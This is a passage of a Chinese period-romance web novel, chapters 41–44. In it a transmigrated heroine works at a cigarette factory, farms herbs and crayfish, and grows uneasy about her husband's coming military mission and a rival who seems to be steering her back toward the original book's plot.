“那你呢,赵天瑞,无父无母又没媳妇的,图什么?”
赵天瑞不说话,谢宴清难得多管闲事,帮他解释,“他想吃杨参谋长家的天鹅肉。”
“什么?!”王丘雨彻底地被震惊了,“你喜欢杨月苓?她那么骄纵,你...你升职了也很难娶得起吧?”
“那我就升得更高!”赵天瑞露出一副势在必得的样子,末了,同情地看着王丘雨:“你个没心上人的不会懂这些的。”
王丘雨被深深地打击了,楞在原地,半天说不出话来,其他两人已经往前走了。
“喂!赵天瑞,谢哥娶上媳妇的另说,你八字还没一撇呢,凭什么鄙视我?”王丘雨朝着前面两人大喊,前方的身影却纹丝不动。
王家其他人都去山上养鸡鸭,王丘雨回到家后,一个人躺在床上,莫名觉得有点冷清。
也许,他应该去找个对象?
41. 冰山
经过一个星期的反复练习,觅婉婉已经能将卷烟的配方拿捏地很好。
甚少夸奖人的刘为民在车间当中夸奖她:“婉婉,你的悟性极好,学习能力又强,以后在卷烟厂,必定大有所为。”
刘为民的话一出,几乎等于宣告天下,他很快就会提拔觅婉婉。
“谢谢刘老。”觅婉婉尚不清楚其中内情,只谦虚道谢。
等刘为民走后,彭飞笑着过来说:“婉婉,恭喜啊。”
觅婉婉正想问问情况,二车间主任李利国走过来,严肃地说:“上班时间,应该多用些心思在工作上,交头接耳的像什么样子。”
彭飞垮着脸走了,觅婉婉没有太多在意李利国的心思,转身干活。
她这个样子,反而让李利国更加不爽,他在二车间当领导多年,哪个员工见到他不高兴,不是战战兢兢地。
这个觅婉婉,得了刘老的青眼,连自己都不放在眼里了。
觅婉婉此时完全不知道李利国的心理活动,她一会儿下班之后,要去山上看看草药的种植情况,还要去养殖场看看鸡鸭。
明天趁着休息时间,觅婉婉仍旧是想上山一趟,搜罗点东西。靠山吃山,一年四季,山里的东西季季不同。
她前世总呆在办公室,周末的时候就不太喜欢呆在租来的小格间,总是去郊外的山里转悠,呼吸新鲜空气。
如今上山更加方便,山里的东西,能吃的、能卖钱的,各种都有,觅婉婉就更喜欢往山里跑了。
觅婉婉是跟谢宴清一起上山的,先去看了药田,吕花带着几个孩子把草药照顾得极好,完全不需要觅婉婉操心。
“难得放假,你们小夫妻去山里玩吧。”吕花好心地赶他们走。
这话本来没有其他意思,只是吕花想让他们放心地去做自己的事情,觅婉婉能在山上找到草药,谢宴清能在山里猎到野猪,在吕花那里已经不是秘密。
可觅婉婉想起上次在山谷中发生的事情,脸上迅速浮起绯色,几乎是落荒而逃。
“你要是再敢做上次那样的事情,我就再也不跟你一起上山啦。”走出一段距离后,觅婉婉威胁他。
谢宴清眼中噙着笑意:“哦,你说的是什么事?我不知道。”
“你...你少装蒜。”觅婉婉支支吾吾地瞪了他一眼,小跑着上山。
养在深山的鸡鸭不缺虫子吃,加上王正清一家三口打理地好,每天都会清理鸡棚鸭棚。不过短短半个多月,鸡鸭苗已经长大了许多,满山地跑。
“鸭子喜欢浮水,刚好我们家在这附近有个荷塘,可以让它们去荷塘里找食。”章爱云慈爱地看着这些鸡鸭,笑着对觅婉婉说。
王桂苗热心地拉着觅婉婉说:“婉婉姐姐,你要不要去我们家的荷塘看看?”
觅婉婉点点头,“好呀。”
至于谢宴清,全程没说话,觅婉婉去哪他就去哪,没半点意见。
几年前王家在山坳里挖了足足三亩地的荷塘,如今种下的莲子已经变成了一大片的荷叶,开出一朵朵粉的、白的荷花。
只是如今时候不到,大概只有三分之一的荷花开了,剩下的三分之二都是小荷才露尖尖角的花豹。
王桂苗摘了一把荷叶尖,用新鲜的荷叶包起来,又摘了几朵含苞待放的荷花,同样用荷叶包起来,递给觅婉婉道:“婉婉姐姐,荷叶尖切碎了煮粥正适合天气热的时候吃,清爽又降火。荷叶用水养一样,可以开花观赏,香气也能熏屋子呢。”
“谢谢。”觅婉婉接过东西,真诚道谢。
拿着鲜花上山,觅婉婉的心情更好了,尤其是她很快就山上又找到了一种能卖钱的草药:石斛。
“这些石斛拿去公社医院肯定能卖不少钱。”觅婉婉带着谢宴清一起采摘石斛,高兴地说。
她笑起来的时候非常明媚,谢宴清看见就忍不住跟着笑,“是,你说的对。”
谢宴清是很少笑的,自从他们关系更加亲近之后,谢宴清的笑容就变多了,意识到这点的觅婉婉只觉得心情又更好了几分。
采摘了满满一大背篓的石斛后,觅婉婉两人进入山谷中休息,正是盛夏,觅婉婉先来到小溪边用清水洗了一把脸,就躺在附近的树荫下休息。
谢宴清则是在不远处的草丛中抓野兔,这片山谷中的野兔多,他们一进来就看见好几只。而且觅婉婉还带了一个小锅和几样调料过来。
等谢宴清拎着两只剥好皮的野兔过来,觅婉婉已经用小锅煮了一锅的清泉水,用荷叶装着递给谢宴清:“很甜呢,你尝尝。”
谢宴清接过水一饮而尽,少许漏出来的水顺着下颚流过脖颈,顺着白色的衬衫往下走......
觅婉婉赶紧移开目光,非礼勿视。
兔子在谢宴清手中很快烤好,简单地撒上盐巴和辣椒面,香掉舌头。
两个人吃了一只兔子,舒服地躺在树下乘凉。
“最近,月国那边蠢蠢欲动,我可能很快就要出任务。”谢宴清淡淡地说。
觅婉婉转过头看他:“要去很久吗?”
如果是普通的任务,谢宴清不会特意拿出来说。
“嗯。”谢宴清应了一声,犹豫片刻,最终还是开口:“很危险。”
觅婉婉紧张地直接坐起来:“啊?”
谢宴清起身,拉她再躺下,笑着说:“我会注意安全,好好回来的。”
觅婉婉提起的心,瞬间又放下了。谢宴清是谁,那可是书里的反派大佬,厉害着呢。
危险一点的任务,应该也没关系吧。
“谢宴清,我有点困,睡一会儿。”觅婉婉眼皮在打瞌睡,迷迷糊糊地说。
“嗯。”谢宴清最后看了觅婉婉一眼,闭上眼睛,很快进入了梦乡。
梦里,不断有人在谢宴清耳边诉说:“她是假的,假的觅婉婉,她不是真的。”
谢宴清眼睛紧闭,眉心紧紧地蹙着,想要将脑海中的声音排除出去。
他成功地消灭了耳边的声音,却做起了画面清晰的梦。梦里,他们在月国经历了惨无人道的苦战。
张晓山为了掩护他们突击,吸引火力被子弹击中身亡。赵天瑞因为部队被围困,
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私自下山找水源,中了敌人的圈套再也没有回来,王丘雨为他挡了子弹......
亲近的战友一个一个倒在他的面前,谢宴清紧闭的双眼流出泪水,这一切,都是因为......
画面一转,谢宴清孤身一人回到了部队,因为不服从调令,他被部队开除。
在一个夜黑风高的夜晚,他眼睁睁看着自己的妻子,觅婉婉背着包袱上了后山,跟着一个男人跑了。
“婉婉,这么多年,我从来没忘记过你,你也是吧?”样貌普通的男人对着觅婉婉流眼泪,谢宴清气得浑身冒火。
然后,他就被气醒了。
同样被噩梦惊喜的觅婉婉看谢宴清醒了,本想上前,却被他异常阴鸷冷漠的目光吓了一跳。
“你...怎么啦?”谢宴清从没用这种眼光看过自己,而且,这个样子,真的很像书中后期黑化的谢宴清,觅婉婉心中忐忑不安。
她刚刚做了一个梦,梦见你谢宴清这次执行任务回来以后,就跟变了个人似的。日常沉默寡言,冷冷的,看谁都是仇人的目光。
明明谢宴清离书中描写的反派形象越来越远,为什么突然就回去了,难道是战争创伤后遗症?
想到这个可能,觅婉婉刚才就想试图劝谢宴清这次的任务别去了,反正后面谢宴清离开部队创业也很成功。
他做什么,都是做的很好的。
可谁知道上来就碰上谢宴清冰冷的、充满防备的眼神,觅婉婉一时不知道该怎么办了。
“没事,做了个噩梦,我想再休息一下。”谢宴清沉浸在梦里窒息的悲伤中,不敢面对觅婉婉,掩饰地闭上眼睛。
“哦。”觅婉婉略有些失落地回答,她总觉得谢宴清看她的目光很不友善,不对劲。
但她总不能把谢宴清给摇起来,想来想去,觅婉婉决定先把这个梦搁下,后面再说。
一个梦而已,总不能为了它搅乱现在的生活。
觅婉婉脱了鞋袜,来到小溪边开心地玩水。冰凌凌的溪水漫过膝盖,她开心地浇水玩,一个人玩得不亦乐乎。
突然,在一片石块和水草都密集的水域,觅婉婉看到一个熟悉的身影,她几乎以为是自己看错了。
扒着草丛仔细找了半天,直到看到好几只小龙虾后,觅婉婉果断地抓起一只足有五六钱重的小龙虾,举起来高兴地对谢宴清说:“谢宴清,这里有小龙虾耶!”
谢宴清一直没有睡,他盯着溪水中的女子,看她欢快地在水中玩耍。后来像是找到什么宝贝似的,一双杏眼闪闪发亮。
令他意外地是,女子第一时间来找自己分享她找到的宝贝,饱含期待的双眼亮的惊人,谢宴清几乎被那亮光灼伤。
溪水中的觅婉婉却收起了笑容,她看到谢宴清的目光了,冰冷的、探究的、深不可测的。
她刚刚认识谢宴清的时候,觉得谢宴清像一座冰山,散发着令人畏惧的寒气,根本无人敢靠近。
后来,这座冰山为她融化,主动拥抱了自己。
可是现在,觅婉婉发现,谢宴清似乎又结冰了。
42. 确认
两个人僵持了片刻,谢宴清起身,走到溪水中,在距离觅婉婉不到一米处停下。
“这个能吃吗?”谢宴清露出些许疑惑。
觅婉婉又笑起来:“可以的,一会儿我们去山里摘点新鲜的紫苏叶,做紫苏小龙虾吃。”
“嗯。”谢宴清不知道紫苏小龙虾是什么,本能地应了一声。
他们一起在草丛中、岩石中寻找,找到满满两鱼篓的小龙虾。
“走啦,我们回去吧。”觅婉婉自然地拉起谢宴清的手,往回走。
谢宴清僵硬了一瞬,很快又放松下来,跟着她走。
山里什么都有,摘紫苏叶的时候,觅婉婉顺便摘了一把新鲜的青花椒。做小龙虾,怎么能没有花椒呢。
吃小龙虾,处理的时间反而是最长的,需要把小龙虾刷干净,减去剪去虾须和虾脚,去掉虾线。
好在谢宴清的学习能力和动手能力都很强,三下五除二就把两斤小龙虾处理干净了。
觅婉婉开始炒制小龙虾,其实做小龙虾没什么嘛技术上的难度,主要是舍得放调料。
生姜、大蒜、花椒等炒香后,放入小龙虾,加入盐、糖、酱油和料酒,倒入清水煮开后,再放上一大把的紫苏叶。
大火收汁后,就可以装盘了。
两斤多的小龙虾,觅婉婉分成了好几分。
“这份是给隔壁张大哥和吕婶子大的,这盘送给王丘雨他们一家尝鲜,剩下的这份留给找天瑞。”觅婉婉一样一样地数着,安排着小龙虾的去处。
谢宴清看着她,一样一样地为自己周围的人打算,送人情,眼底一片暖融。
“对了,我给送一份去顾家给霜儿也尝一尝,没有她,我上山找到的草药不能卖得那么顺畅。”觅婉婉想起来,又另外分了一盘出来。
分完这些之后,刚好剩下够两个人吃的一盘,觅婉婉从院子里摘了两个黄瓜,拍了凉拌一下。
谢宴清吃了几块拍黄瓜后,夹了一只小龙虾进碗里,不知道怎么下手。
觅婉婉拿了一只小龙虾,剥开虾壳,将鲜嫩的虾肉蘸上汤汁递给谢宴清。
虾肉入口,首先感受到的是紫苏的清香,然后是蒜、辣椒和花椒的刺激感。虾肉紧实弹牙,伴随着浓郁的汁水,饶是稳如冰山的谢宴清,也忍不住露出惊喜的表情。
觅婉婉前世吃过很多次小龙虾,但这次的虾是自己捉的,味道自然不同。
两个人一只又一只的虾吃下去,一盘小龙虾很快就被消灭干净。
“还有好东西呢,你且等等。”觅婉婉拦住了谢宴清想要收盘子的手,起身烫了一碗面条回来,将面条放进小龙虾剩下的汁水里一拌。
“这叫小龙虾拌面,你试试,很好吃的。”觅婉婉将一碗面分了,率先吃起自己那份来。
谢宴清尝了一口之后,很快吃完了面,“没想到还有这种吃法,只是,婉婉,你怎么知道这么多吃的呢?还有那些草药,你懂这么多,不应该在原先的村子活不下去吧?”
觅婉婉正在吃最后一口面,听到谢宴清的话,差点没呛到,慌忙擦了一下嘴角,“那个,主要是因为附近的山都被人挖光了,我懂也没用啊。这些我都是在书里看到的!”
解释不通的事情,全都推给书好了,反正书里什么都有。
谢宴清垂下眼眸,“嗯。”
收拾一通后,两个人上床睡觉,觅婉婉盯着旁边的人看,越看越觉得这人今天不对劲。
察觉到她的目光,谢谢宴清侧过头与她对视:“怎么了?”
“我觉得你今天不太一样。”觅婉婉如实说。
没想到她这么敏锐,谢宴清默然,“你会一直跟我在一起吗?”
“当然了,”觅婉婉没想到男人也有更年期,而且谢宴清竟然这么早就来了,“虽然我们买了两套房,但是欠款还没还清呢。”
“还有,你不是说升职分两层小别墅吗?我都没住上,等我的草药和养殖挣钱了,我们再去省城买房。”觅婉婉碎碎念着,完全没注意到旁边的人目光已经猩红。
等她反应过来的时候,已经被捞进谢宴清滚烫的怀中。他今天似乎特别急切,急切到直接就把觅婉婉的衣服撕碎了。
听到布料碎裂的声音时,觅婉婉愣了一下,但很快就被谢宴清急促的吻卷走了所有的吸引力。
他今天格外偏执,死死地攥着觅婉婉的腰,翻来覆去的折腾,似乎想通过这样的方式来确认那个答案。
觅婉婉被折腾得浑身散架,最后是晕过去的,半夜醒来,谢宴清竟然还在动。
“你,真是变态啊。”觅婉婉起身,给了谢宴清一个温柔的吻,靠在他身上,再次睡过去。
第二天醒来的时候,觅婉婉查看了一下身体,干净清爽,应该是谢宴清帮她清理过的。再一看上面的密密麻麻的痕迹,忍不住红了脸,这人昨天晚上到底是有多凶,才能弄得这满身痕迹。
尤其觅婉婉看到连脚踝处都是密集的吻痕时,更是脸颊发烫,这人昨晚上真是太疯了。
谢宴清已经做好了早饭,见到她出来,垂下头,像是做错事等待处罚的小孩。
觅婉婉已经察觉到了,谢宴清不知为何,变得没有安全感。昨天种种行为,似乎都是为了在确认什么。
她走上前,大大方方地给了谢宴清一个吻,在他耳边悄悄说:“如果是你的话,凶一点也没关系的,我喜欢。”
觅婉婉看见眼前的耳朵迅速变得通红,不禁有点好笑,“不过,你得努力升职才行,照你昨天那个撕法,我的衣服很快就会没的。”
“嗯,很快。”谢宴清退后几步,清咳几声,“吃早饭了。”
觅婉婉知道谢宴清是害羞了,有种扳回一城的感觉,开开心心去吃饭了。
卷烟配方的工作熟悉之后,刘为民接着安排觅婉婉去学习卷烟制丝和?烟支卷制工作。
烟支卷制工作较为简单,卷烟制丝的工艺就复杂了,将配方好的烟叶通过机器切成细丝,进行干燥
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、膨化、加香等处理,使烟丝达到一定的水分、密度、颜色和香气。制丝的工艺流程包括制叶片、制梗丝、制叶丝等工序,确保烟丝质量稳定一致。①
觅婉婉投入到工作中,时间过得很快,瞬间就到了下班时间。
谢宴清今天的训练任务重,没办法来接她下班,觅婉婉找正打算自己骑自行车回家,意外见到一个很久没出现的人,叶芳菲。
自从她和周哲的事情爆发,又在众人面前跟觅桂兰一通厮打之后,叶芳菲就再也没出现过。
“婉婉,我回来卷烟厂上班了。”叶芳菲像是什么事情都没发生过那样,笑着朝觅婉婉打招呼,“对了,我后天结婚,就在军区家属大院,欢迎你们来喝喜酒呀。”
“你嫁谁?”
叶芳菲:“大家都是战友,我嫁的是你们院里的姚大勇。”
觅婉婉露出难以理解的神色:“你这么好心给人去当后妈?”
叶芳菲脸色差点没撑住,想起自己来找觅婉婉的目的,强行撑着笑脸,“话不能这么说,最重要的是两个人真心相爱。”
“婉婉,你知道吗?蔡高林来我们这了,就在磨盘镇上做工呢。”叶芳菲突然调转话题,说起其他事情。
觅婉婉:“蔡高进是谁?”
叶芳菲:“就是之前镇上去你们村下乡的知青呀,他还救过你呢?”
原主的记忆,觅婉婉记得不是很清楚,所以这个蔡高进到底是不是救过原身,觅婉婉不是很清楚。
“我之前不认识你吧?你怎么对我的事情这么了解呀?”觅婉婉很清楚的事,这个人,这件事情,整个透着不对劲。
叶芳菲没想到她这么直接,顿了一下,“你不用管我怎么知道,总之,机会难得,蔡高进在磨盘镇西街的木匠铺子等你。你们错过了这么多年,好不容易有机会重逢,婉婉,你可千万不要错过机会啊。”
她苦口婆心地劝觅婉婉,一副我都是为了你好的样子。
“神经病,我现在已经结婚了,重逢什么重逢,我不需要。”觅婉婉直接骑上自行车,走了。
“觅婉婉,谢宴清很快就会遭逢大变的,你要早做打算。”叶芳菲忍不住朝她喊。
觅婉婉立马刹车回头:“你说什么?”
她停下来,叶芳菲却不肯再说了,“反正你跟蔡高进才是一对,谢宴清跟你只不过是露水情缘。况且,他这个人人,残忍至极,根本不是良配。”
“你应该回到你自己的道路上来。”叶芳菲语重心长地说。
觅婉婉越发觉得不对,“什么是我的道路?你是说,婚内出轨,跟人私奔吗?”
叶芳菲吓了一大跳,慌忙否认:“我不知道你在说什么?”
在觅婉婉犀利的目光下,叶芳菲几乎是落荒而逃,觅婉婉却开心不起来。
她怎么觉得,叶芳菲在逼自己走原书剧情?
为了搞清楚这个突然冒出来的蔡高进是谁,觅婉婉没有回大院,踩着自行车进了山。
43. 聪明
大山深处的一处山坳里,觅桂兰正挥舞着大刀在砍肉。经过一段时间的练习,觅桂兰已经完全掌握了解剖猪的技能。
她力气大,一旦掌握窍门,干活便极为利索。祝毅也不是个小气的人,直接给觅桂兰加了三十块钱的工资。
这年头杀猪师傅不好找,靠谱能干活的更难找。觅桂兰自从进了这山,就没下去过,一心一意在这干,祝毅自然是想笼络住她的。
有人来通知觅婉婉过来找她,觅桂兰吃了一惊后,赶忙换下一身血污的衣裳。
“发生什么事了?”觅桂兰心知她跟觅婉婉关系不算太好,如果不是有什么要紧的事情,觅婉婉不会随便跑到深山里来找她的,于是见面直接就问。
觅婉婉也不客套,“你知道蔡高进吗?”
这个名字一听就很耳熟,觅桂兰没有马上回答,仔细地回想了一下。“好像是前两年来我们村里下乡的知青,家庭环境好,长得也清秀。那时候,村里的小姑娘都喜欢他。”
“那,我喜欢过他吗?”觅婉婉小心地问。
觅桂兰的表情差点没裂开,“你喜没喜欢过他,你来问我?”
这事确实有点离谱,但除了觅桂兰,觅婉婉在这边也没有其他可以问的人,“我记性不大好,以前的事情,很多记不大清。”
觅桂兰:“具体情况我不清楚,那会儿你总是趴在窗户上偷看人家,不过看上蔡知青的姑娘多了,这也没什么。如果你想知道的更清楚,可以打电话问鸿晖。”
对呀,觅婉婉觉得自己真是被叶芳菲弄糊涂了,觅鸿晖肯定清楚其中内情。
临走的时候,觅桂兰拿了一大块肉给她,兼几根排骨,“你肯来找我,说明还当我是堂姐,当我是堂姐就不要客气,现在这些东西我都是不缺的。”
“你也知道,我没有家人,这里又管饭,每个月发的肉和骨头我没地方送,你就当帮我个忙。”
觅婉婉仔细打量了一番觅桂兰,她真的脱胎换骨,跟以前完全不一样了。
人非圣贤孰能无过,既然觅桂兰有心,觅婉婉也不介意自己多个便宜堂姐,接了肉便下山了。
回到家属院之后,天色已经完全暗下来。即便觅婉婉心急,也不能这个时候去打觅鸿晖的电话。
谢宴清已经做好了饭,此时正端坐在桌前,不知在想什么。
她看着院子中男人宽阔的背影,如山伟岸,亦如夜般寂静。觅婉婉总觉得,谢宴清昨天的异常同叶芳菲说的话有关。
“你回来了,进来吃饭。”谢宴清回头,见觅婉婉站在门外,自然地跟她说话。
觅婉婉暂时抛去脑海中的种种思绪,开开心心地吃饭,有什么事,吃完饭再想。
晚饭有西红柿蛋花汤、凉拌茄子和凉面,天气热的时候吃着正好。不过对食物的保存就不那么友好了,觅婉婉想了想,拿了一斤肉和两根排骨给隔壁的张晓山夫妇送去。
隔壁一家也刚好吃完晚饭,觅婉婉进去地时候,看见张晓山正在家里锻炼。
“他是为行动做准备呢,这次行动,谢宴清应该也参加吧,据说要去挺久的。”吕花对觅婉婉解释,神色之间难免担忧。
觅婉婉安慰地拉住她的手:“婶子,没事的,张哥他们都是久经沙场的老战士了。”
“是啊,婉婉说的对,我们在外头的时候,只能你们家属之间互相扶持了。”张晓山收拾东西的空暇,难得叮嘱道。
“爸,爸你回来的时候一定要给我做木枪,等我长大了,我也要当兵!”张冠丰站在张晓山的旁边,学着他的样子,一模一样地训练。
张晓山擦了一把头上的汗,欣慰地看着儿子:“好!不过你是家里第二个小男子汉,时刻记着保护两个姐姐。”
“我会的,妈和姐姐们是第一位。”张冠丰稚嫩的脸上全是坚定。
觅婉婉眉眼弯弯,忍不住露出笑意。即便是在前世,也很少有人像张晓山一样教育幼子,更多的家长还是希望姐姐能照顾弟弟。
否则,伏地魔这个称呼是怎么来的呢。
回去的路上,觅婉婉开始回想书中张晓山一家的情况。可惜书中主要以男女主和众女配们的情感纠葛为主,就连谢宴清这个最大反派的家庭情况什么的都没写。
更别提张晓山这一家远离剧情的边缘人物了,觅婉婉找不到相关的剧情,灵机一动,说不定张冠丰和季白一样,跟女主白霜儿有关系呢。
于是觅婉婉转变思维,开始寻觅书中跟白霜儿有关的孩子。这一找,还真让觅婉婉找到了。
书中有一段剧情,是说白霜儿找了大院中的一个孩子算命,结果一众恶毒女配,尤其以嚣张的杨月苓为主,鄙视辱骂白霜儿搞封建迷信活动,是上不了台面的乡巴佬。
实际上善良的女主只是想帮助牺牲的战友遗孤而已,觅婉婉看到这里的时候愣住了,遗孤?
也就是说,张晓山在某次任务中牺牲了。接着,觅婉婉又在书中找到了张冠丰的消息,他在书中被人称为小张先生。
叫一声先生并不是因为他读了很多书或是做了老师,而是他从小就帮人算命。院里谁家发生了红白喜事,总是要叫他来算上一番,再主持一下的。
后来,小张先生的两个姐姐结了婚,他就带着老母回老家的村里给人算命去了。
看来,在书里,张冠丰真的说到做到,在父亲去世后,一直保护两个姐姐。可是,这对于一个孩子来说,未免太残酷。
觅婉婉心中升起一股紧迫感,张冠丰的命运,叶芳菲的逼迫,谢宴清的反常。所有的这些,都跟这次任务有关。
那么,这场跟月国的战争,到底发生了什么呢?
原书一本恋爱脑残文是指望不上了,觅婉婉选择直接问谢宴清。
“你为什么突然对这次行动感兴趣?”谢宴清不理解,觅婉婉之前对他的行动,从来没了解得这么细过。
“我刚刚看张大哥在紧张地训练,担心你这次行动艰难。你们这些在前线的人出了什么事,对我们这些在后方的家属来说,无异于灭顶之灾。”觅婉婉直
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白地表达自己的担忧。
谢宴清心底一片柔软,“你放心,我...我们一定都会没事的。”
除了机密相关事宜,谢宴清将此次任务的情况都仔细跟觅婉婉说了,“至于任务的出发时间,我现在还不能说。”
“我明白的,不能说。”觅婉婉寻思这场战争,好像跟她前世学的历史中某场战争特别相似。
历史中的那场战争,虽然最后以胜利结束,但损失惨烈。最主要就是因为地理环境复杂,导致在行军过程中就损失不少人手。
后期战争的过程中,由于地势复杂,补给无法送达,只能靠将士们自己想办法解决。这给了敌人可乘之机,设下陷阱引缺水缺粮的将士们上钩坑杀。
再加上武器有问题,这一战,可谓是惨胜。
“这个月国,是不是地形多山、丛林密布,气候湿热?”
谢宴清:“你从哪里知道的?”
“书里看到的。”觅婉婉再次推给书本。
“谢宴清,月国地势这么复杂,你们大规模去人家那作战,岂不是对你们很不利么?还有,供给方面是不是也会有困难?”觅婉婉试探地跟他说道。
谢宴清沉吟道:“确实,不过这个可以训练,在山里和丛林中模拟作战。后勤方面,可以分散风险......”
说着说着,谢宴清突然起身,“我回部队一趟。”
觅婉婉心知他肯定是想到了办法,笑着说:“你去吧。”
想了想,觅婉婉又拉住他,在他脸颊上亲了一口,眉眼盈盈,“你真聪明,一点就通。”
在她毫不掩饰、充斥着欣赏的目光下,谢宴清控制不住地红了耳廓,“嗯,我不一定能回来,你早点睡。”
专业的事就该专业的人出马,有谢宴清处理这件事情,觅婉婉睡了个好觉,照常上班。
谁知一进卷烟厂,就发现大家都不干活了,吵吵嚷嚷地围着厂长翟良策说个不停。
“平哥,厂里这是怎么了?”正好白良平在外围,觅婉婉上前问他。
白良平:“厂里要给工人降薪水,大家正跟翟厂长要说法呢。”
至于厂里多年的老人,副厂长郑宏儒,机智地躲到医院去了,说是旧病复发,要住院。
“好好地,为什么要降薪呢?”卷烟厂散漫,但跟其他厂不同的是,即便如此,由于香烟行业的暴利,卷烟厂的利润一直是有的。
白良平叹了一口气,“说起来,还是去年的事了。省里每年都会举办香烟评吸大会,大会上有来自全国各地的烟酒公司。去年玉城卷烟厂得了冠军,我们厂的香烟则是被痛批了一顿。”
“那些烟酒公司,都是卷烟厂的客户,很多都不来我们厂订货,叠加退货率的问题,降工资是迟早的事。”
“婉婉,你跟我来一下。”刘为民突然出现,把觅婉婉叫到他办公室。
来到办公室后,刘为民开门见山地说:“新一年的香烟评吸大会一个月后开始,今年送去大会的香烟,我想交给你去做。”
44. 躺平
觅婉婉愕然,提醒刘为民:“刘老,我进厂不足半年。”
“有些事情,需要时间造就;有些事,则需要人去造就。婉婉,你就是能成就这件事情的人。”刘为民显然是早就想好了,让觅婉婉做这件事情,“香烟的制作方法,你已经都知道了。从现在开始,你就专心做这件事情。”
一开始的惊讶过去之后,觅婉婉冷静下来,香烟评吸大会,对她是一个机会。如果她制作的香烟能得奖,她就能升职,升职后不久,卷烟厂就会改制。
改制成公司后,职位越高,能获得的股份越多。意味着,她以后可以更好地躺。
“谢谢刘老,我会好好干的!”为了躺,觅婉婉没有不敢接的活。
等她出去后,曾春海走进来,“你真要让觅婉婉个初出茅庐的小姑娘做这事啊?”
“不是,咱们厂去年的香烟虽然说是被批得狗血喷头,但我们也不能直接放弃希望不是。”
刘为民瞪他:“你懂个屁!你一管人的,自然不懂生产。觅婉婉这小姑娘,虽说进厂的时间短,但学习能力、悟性都是最佳的。除此之外,这丫头鼻子还特别灵,那烟好不好,她一闻就知道了。”
“有这种事?”曾春海来兴趣了,拉着刘为民,“你给我详细讲讲。”
刘为民将觅婉婉在生产过程中的表现挑重点跟曾春海讲了,末了,感叹说:“这丫头,心性是真的绝,干一件事情是一件,不管是哪个生产过程,她是半点不打马虎眼,认认真真地学,认认真真地干。就凭这,那些干了几十年的老工人也没法跟她比。”
曾春海笑了:“是啊,人活着,总是有很多杂念的。能摒除杂念,专心做事生活的人,不多。我说刘为民,你不会是想收她做徒弟吧?”
“我当然想,那得看人家愿不愿意吧。”刘为民也笑了,觅婉婉私底下搞的那些事情,刘为民多少知道些。
不过觅婉婉从来没有因为副业影响正常的工作,刘为民只当不知道。
刘为民的这个决定在厂里引起了轩然大波,甚至有不少人趁着上班的间隙,来制丝车间偷偷看觅婉婉。
他们都想看看这个刚进厂半年,就得到刘老青睐的小姑娘什么样子。结果就是,每个到来的人都会被觅婉婉的美貌惊艳。
“咱们厂里什么时候来了个这么漂亮的小姑娘,我怎么不知道?”
“她有对象了吗啊?我刚好有个侄子......”
“你就别想了,人家名花有主,老公还天天接下班呢。”
“可惜了,长得这么好看,工作能力又强,谁娶了她就有福咯!”
叶芳菲也过来凑热闹,见大家都在夸觅婉婉,心里不痛快极了。“说不定她就是凭着美貌得到刘老青睐的呢。”
这话说的,就差明说觅婉婉和刘为民有一腿,是通过特殊渠道获得机会的。
人们对女性的偏见,加上天生的八卦属性,大家一听到叶芳菲的话,都忍不住露出怀疑的神色。
“上班时间不搞生产,你们反倒在这搬弄是非,每个人工资扣一块钱。”翟良策正在巡视车间,刚好听到他们在那叽叽喳喳。
不仅如此,眼看着还要弄出一堆流言蜚语来了,他忍无可忍,站出来大声宣布。“我知道前些年厂里一直作风散漫,但我翟良策来了,就不允许厂里的职工再和以前一样无所事事,不搞生产。”
“只有搞生产,才会有利润,有利润咱们工人才能有钱,有更好的待遇,你们要搞清楚你们来上班是做什么的!”
工人们面面相觑,羞愧地低着头,四散回到原本的工位。叶芳菲气个仰倒,却不敢跟厂长叫板,愤愤地走了。
觅婉婉不是没有听到外面的动静,只是她前世在职场上久经沙场,对这样的场景早就见怪不怪了。
唯一的区别就是,前世的时候大家都比较有素质,选择在暗地里争锋,现在比较直接而已。
她正在研究香烟制作的最后一个流程,卷烟包装。目前的卷烟包装质量差,极易破裂,更不用说美观了。
“婉婉,你想什么呢?”翟良策进到车间,见觅婉婉一直在沉思,出声打断她的思路。
“翟厂长,我是觉得,咱们厂现在的包装太差了,送上大会评审的时候,给人的第一印象不好。”觅婉婉如实说道,“况且,包装好了,不仅可以给人加深咱们溪城卷烟厂的印象,还可以卖个好价钱。”
好多人抽烟抽的不仅是烟,还有档次。
翟良策:“好个聪明的丫头,确实如此。不过,咱们卷烟用的纸,烟嘴,包括外包装这些,用的都是进口的纸,由国家统一分配的。”
是了,如今市场经济不发达,想要做新的东西没那么容易。
不过,觅婉婉不是轻易放弃的人。她下班之后就找到杨月苓,两个人先是商讨了一番开服装店的事情,后面觅婉婉提出想在广市买一点进口的卷烟纸张。
“没问题,包在本小姐身上。”杨月苓一口答应,她最近经常跑广市进衣服,如同打开了新大门一般,接触到了一个全新的世界。
因此,她格外喜欢觅婉婉,只要是觅婉婉提出来的,没有不答应的。
当前这个年代,广市在进出口这一块有得天独厚的优势,纸张问题解决后,觅婉婉就开始思考包装图案的问题。
但这不是一时半会能解决的东西,觅婉婉买了水彩颜料,准备自己先画出来。
回到家,觅婉婉看到谢宴清在桌上留下的纸条,说是要在深山训练,最近几天不会回家。
心底控制不住地划过一抹失落,觅婉婉打起精神,简单吃了个晚饭后,就在房间画画。
红梅、桃花、山景,一一画出来后,觅婉婉觉得都不是满意,而且这些图案,市面上也用,达不到觅婉婉想要的,让人眼前一亮的效果。
几天过去,觅婉婉白天在车间钻研香烟制作流程,晚上在家画画,忙碌而充实。
到了休息日,觅婉婉上山查看药田
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,同时查看养殖场。
“桂苗,我想在荷塘养殖小龙虾,你们看行吗?”上次吃小龙虾的时候,觅婉婉就有这个想法,只是最近事情太多,一直没有时间来跟王家人商量。
王家一家三口上次吃了觅婉婉送过来的小龙虾,纷纷觉得量少,如今觅婉婉提出要养,哪有不答应的。
“养!养来自己吃也好呀。”王桂苗开心道。
觅婉婉:“小龙虾繁殖能力强,三四个月后,肯定能拿出去卖钱的。”
“这小龙虾好吃是好吃,就是肉太少了,会有人买吗?”章爱云略有些担忧地说。
王桂苗:“妈,就凭婉婉姐姐那做小龙虾的手艺,再少的肉都有人争着来买。”
王正清点点头:“确实,有些不缺钱的人家,吃东西不仅是为了果腹,而是为了那一口味道。”
“我把做小龙虾的方法写下来,免费送给来买小龙虾的商户,到时候,我们养的小龙虾就不愁卖了。”小龙虾尚未风靡全国,觅婉婉可以让它先风靡全溪城。
“那还等什么,我们现在就去荷塘放养虾苗。”王桂苗迫不及待地说。
